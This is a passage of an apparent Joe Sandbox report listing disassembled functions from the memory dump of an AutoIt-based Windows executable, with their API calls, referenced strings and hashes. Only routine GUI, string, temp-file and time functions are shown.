
Strings

|, xrefs: 00ADD10B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: bf221cd1c4a3c43b7c657e301334b505c1e2928f1d034e7400de6b2cf75b8aca
Instruction ID: 5d3ec11291b82902b12959d6b85cd49f607ed7a86e3b94920cbce9adf926a9ea
Opcode Fuzzy Hash: bf221cd1c4a3c43b7c657e301334b505c1e2928f1d034e7400de6b2cf75b8aca
Instruction Fuzzy Hash: 1C313E71D00209ABCF15EFA4CD85AEEBFB9FF04300F000119F815A6261E731AA46DB90

Function 00AF356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00AF3621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00AF365C

Strings

static, xrefs: 00AF35BC

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 62cbbd679f0457d2faeafcc9e84491ad8c65f53bad27d8925c173a3932bd5ab7
Instruction ID: c3ee18af91a9792b177a397a9a30b65c44ea859183c79d7f504ce415995e48bb
Opcode Fuzzy Hash: 62cbbd679f0457d2faeafcc9e84491ad8c65f53bad27d8925c173a3932bd5ab7
Instruction Fuzzy Hash: E7318E72100208AEDF109FA8DC40EBB73A9FF88724F109619F9A5D7290DA30ED81D760

Function 00AF4537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000027,00001132,00000000,?), ref: 00AF461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00AF4634

Strings

', xrefs: 00AF458E

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 0acfdd5af97ae4d6519bd25980890a961d1fa964f49ca0e1e7c527a48ea57252
Instruction ID: 32dfd5498a33e9d9f07294de48a7f90de94a68b25fd6ef8bfc411364d1a00af9
Opcode Fuzzy Hash: 0acfdd5af97ae4d6519bd25980890a961d1fa964f49ca0e1e7c527a48ea57252
Instruction Fuzzy Hash: A6310674A012099FDB14DFA9C990BEA7BB5FF49300F14416AEA05EB351E770A941CF90

Function 00AF31EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00AF327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00AF3287

Strings

Combobox, xrefs: 00AF3249

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: d642f752842b280d9d8419c12d390eb303dfc62765039c3871c721476c928c03
Instruction ID: fae30bf85b49278667005a99dc827b9eb373905fb399e5c41ac57d279a1f54c2
Opcode Fuzzy Hash: d642f752842b280d9d8419c12d390eb303dfc62765039c3871c721476c928c03
Instruction Fuzzy Hash: A011907220020C6FEF219F94DC80EFB376AEBA4364F104625FA1997290D6759D519760

Function 00AF3710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00A6600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00A6604C
Part of subcall function 00A6600E: GetStockObject.GDI32(00000011), ref: 00A66060
Part of subcall function 00A6600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00A6606A

GetWindowRect.USER32(00000000,?), ref: 00AF377A
GetSysColor.USER32(00000012), ref: 00AF3794

Strings

static, xrefs: 00AF3757

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: ffebea0c20ea85fae3c9286a777cccf3940be9366613c74eefa4ccc16b5c5585
Instruction ID: 20a946b7f4db0c3800afdbad6fbed234598a95fdbc835d79e710e494ad94206c
Opcode Fuzzy Hash: ffebea0c20ea85fae3c9286a777cccf3940be9366613c74eefa4ccc16b5c5585
Instruction Fuzzy Hash: 481117B2610209AFDF00EFA8CD45AFA7BB8EB08354F004914FA56E2250D735E851DB50

Function 00ADCD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00ADCD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00ADCDA6

Strings

<local>, xrefs: 00ADCD66

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 45c81cac7b409bf9e9402562921030ac4a7811f7dc0940322fb7482c699ee0ba
Instruction ID: 439b04c567b99505f2bb5c3bcbdf99413bb3e372f46f3c638d0006e0541cc8e9
Opcode Fuzzy Hash: 45c81cac7b409bf9e9402562921030ac4a7811f7dc0940322fb7482c699ee0ba
Instruction Fuzzy Hash: 3711A3712056367ED7285BA68C45EF7BEAAEF127B4F804227B18A83280D6649941D6F0

Function 00AF3429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00AF34AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00AF34BA

Strings

edit, xrefs: 00AF348F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: c41d3cb9ca77a3a0d93d760ae3b67c14d1512ff42ddc48608cbad4f062a74e28
Instruction ID: b5756909f20ae6d17fe861569460e4870b57008f91cc469e7cdda298923a4769
Opcode Fuzzy Hash: c41d3cb9ca77a3a0d93d760ae3b67c14d1512ff42ddc48608cbad4f062a74e28
Instruction Fuzzy Hash: 6C118C7210020CABEF228FE5DC84ABB376AEB05776F508724FA61931E0C775DC919B64

Function 00AC6C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

CharUpperBuffW.USER32(?,?,?), ref: 00AC6CB6
_wcslen.LIBCMT ref: 00AC6CC2

Strings

STOP, xrefs: 00AC6CBC, 00AC6CC1

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: b971c4b65cf813236bf71ca776bf664ab864df9780e7c7a10d1baa2704853cc2
Instruction ID: 9d231e631970f377eefe1e09cdddb3955b38329fc46ba9b69a6b9eff6ecbaf35
Opcode Fuzzy Hash: b971c4b65cf813236bf71ca776bf664ab864df9780e7c7a10d1baa2704853cc2
Instruction Fuzzy Hash: E701C032A049268BCB21EFFDDD80EBF77B9EA65724B12052CE86297194EB31D900C650

Function 00AC1CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

Part of subcall function 00AC3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00AC3CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00AC1D4C

Strings

ListBox, xrefs: 00AC1D16
ComboBox, xrefs: 00AC1CEB

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 4cbbc7fdaf7c66360531d6aa2891df9b10d712135c5ba01a3e1106db5c1688c7
Instruction ID: 75d3097c50b73f227f7c3b6583e464e82f03bbeb21ba0673485c0dace3f37ccd
Opcode Fuzzy Hash: 4cbbc7fdaf7c66360531d6aa2891df9b10d712135c5ba01a3e1106db5c1688c7
Instruction Fuzzy Hash: 6E01B575701218ABCF15EBA4CE55EFF73B8EB57350B14091DB823672D2EA3099098660

Function 00AC1BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

Part of subcall function 00AC3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00AC3CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00AC1C46

Strings

ListBox, xrefs: 00AC1C10
ComboBox, xrefs: 00AC1BE5

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 927c17c2fce6fed4fcb70aae933d5c26f92b6a76908e2c2ce87f79ec39b6d730
Instruction ID: c3a7914464b2f700cae2ac352f0542c740f2f24ea9931c7201235a8600fc4397
Opcode Fuzzy Hash: 927c17c2fce6fed4fcb70aae933d5c26f92b6a76908e2c2ce87f79ec39b6d730
Instruction Fuzzy Hash: C40171757851086ACF14EB90CB55EFF77A89B12340B140019B40667282EA249A18A6B1

Function 00AC1C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

Part of subcall function 00AC3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00AC3CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00AC1CC8

Strings

ListBox, xrefs: 00AC1C94
ComboBox, xrefs: 00AC1C69

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 0220f1c56c4f58a3bc9d2ec31156a1430fdf500a8cc3d576df305b3162ab3b29
Instruction ID: cf729feb2c2853f837494046dcc90f05a4167aad6722f1ea3d16915bc28f72b7
Opcode Fuzzy Hash: 0220f1c56c4f58a3bc9d2ec31156a1430fdf500a8cc3d576df305b3162ab3b29
Instruction Fuzzy Hash: A801A2B17841186BCB14EBA1CB51FFF73BC9B12340F150419B806B7282EA349F19D672

Function 00AC1D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

Part of subcall function 00AC3CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00AC3CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00AC1DD3

Strings

ListBox, xrefs: 00AC1DA0
ComboBox, xrefs: 00AC1D75

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 61edeba1e242d4ed0d97bb5b61f188d7abd51fdbb8135c40695de9124b405a63
Instruction ID: 8119a628d5be4fdca332835b8cb4ca961d47fd088ca3d969e73564fdfc8c4f96
Opcode Fuzzy Hash: 61edeba1e242d4ed0d97bb5b61f188d7abd51fdbb8135c40695de9124b405a63
Instruction Fuzzy Hash: F5F0A471B412186BDB15FBA4DE56FFF77BCAB12350F040919B822B72C2DA70590C8271

Function 00AE747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00AE7493
_wcslen.LIBCMT ref: 00AE74B9

Strings

3, 3, 16, 1, xrefs: 00AE7483

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: 80a801c5138368ef381d40e33929a4ce3578a3e3c88df9629da585b847759ca0
Instruction ID: e3ad2f4f410e173b9ddfd3ffc4125856c45644311a036f45fd6667a4ae016bb9
Opcode Fuzzy Hash: 80a801c5138368ef381d40e33929a4ce3578a3e3c88df9629da585b847759ca0
Instruction Fuzzy Hash: 37E0611231536110A331337BEDC197F66C9CFCD750710182BF989C22E6EB94CD9293A0

Function 00AC0B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00AC0B23

Strings

Error allocating memory., xrefs: 00AC0B1C
AutoIt, xrefs: 00AC0B17

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: 67d31f58fa36140dde35ec5a2f0e7cec1c0a5f118a001d178e75091d0c2ec951
Instruction ID: 759ab805002e1bdf4acab01fbffc52326d4616cf2bcbfb20109b68bdbb12917c
Opcode Fuzzy Hash: 67d31f58fa36140dde35ec5a2f0e7cec1c0a5f118a001d178e75091d0c2ec951
Instruction Fuzzy Hash: 03E0D83228431C3AD22037D57E03FD97A848F05B20F10442AF74C954C38AE1259046E9

Function 00A80D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00A7F7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00A80D71,?,?,?,00A6100A), ref: 00A7F7CE

IsDebuggerPresent.KERNEL32(?,?,?,00A6100A), ref: 00A80D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,00A6100A), ref: 00A80D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00A80D7F

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 07263f7e36c5cf2e13eaa345a5d24f6a2c27f4563edc7e2ef53bd9d97fc9a65f
Instruction ID: 332b03f743af1ac69a5025097ccf50ae3f9d3c9ca64c419f180dd0206cffc157
Opcode Fuzzy Hash: 07263f7e36c5cf2e13eaa345a5d24f6a2c27f4563edc7e2ef53bd9d97fc9a65f
Instruction Fuzzy Hash: 69E039702003018FD360AFE9D904A967BE4AF00740F04892DE886C7651EBB0E448CB91

Function 00AD3017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 00AD302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00AD3044

Strings

aut, xrefs: 00AD3038

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: db23ae86de058a45be2e80e40ea0f2d31d584380b759d58d520500bd06bd16c2
Instruction ID: dedc115c109755aa714d14ca5f05d4ef9a0dfc7a3eceacc6d75234831929d0c9
Opcode Fuzzy Hash: db23ae86de058a45be2e80e40ea0f2d31d584380b759d58d520500bd06bd16c2
Instruction Fuzzy Hash: FFD05E72500328A7DA30E7E5AD0EFDB3B6CDB05760F0006A1B655E20A2DAB09985CAD0

Function 00ABD21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00ABD220

Strings

X64, xrefs: 00ABD2A8
%.3d, xrefs: 00ABD22B

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 78b6e747784bb85b1970015e3698d3131b349b4e1ec4489a2403aab7a7686a3f
Instruction ID: 7fa38b8b9bd9691ce7b98c03e390f192abb6981f595880693403ba491e357dcd
Opcode Fuzzy Hash: 78b6e747784bb85b1970015e3698d3131b349b4e1ec4489a2403aab7a7686a3f
Instruction Fuzzy Hash: 13D012B1C09158E9CB50D6D0DD458F9B7BCEB48301F50C462F90A92042F624C609AB65

Function 00AF2322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00AF232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00AF233F

Part of subcall function 00ACE97B: Sleep.KERNEL32 ref: 00ACE9F3

Strings

Shell_TrayWnd, xrefs: 00AF2325

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 5d724b08d7e980a96083c49ff2e3af27b8b3c9b818a85848db282d198b5eaf10
Instruction ID: e89ed87287a6d7e57adbb4a823c2b7954fc17f8aa73674481cca1f2682e95134
Opcode Fuzzy Hash: 5d724b08d7e980a96083c49ff2e3af27b8b3c9b818a85848db282d198b5eaf10
Instruction Fuzzy Hash: B8D012763D4314B7E6A4F7F1ED0FFD6BA549B00B20F0149167749EA1E0C9F4A802CA54

Function 00AF2356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00AF236C
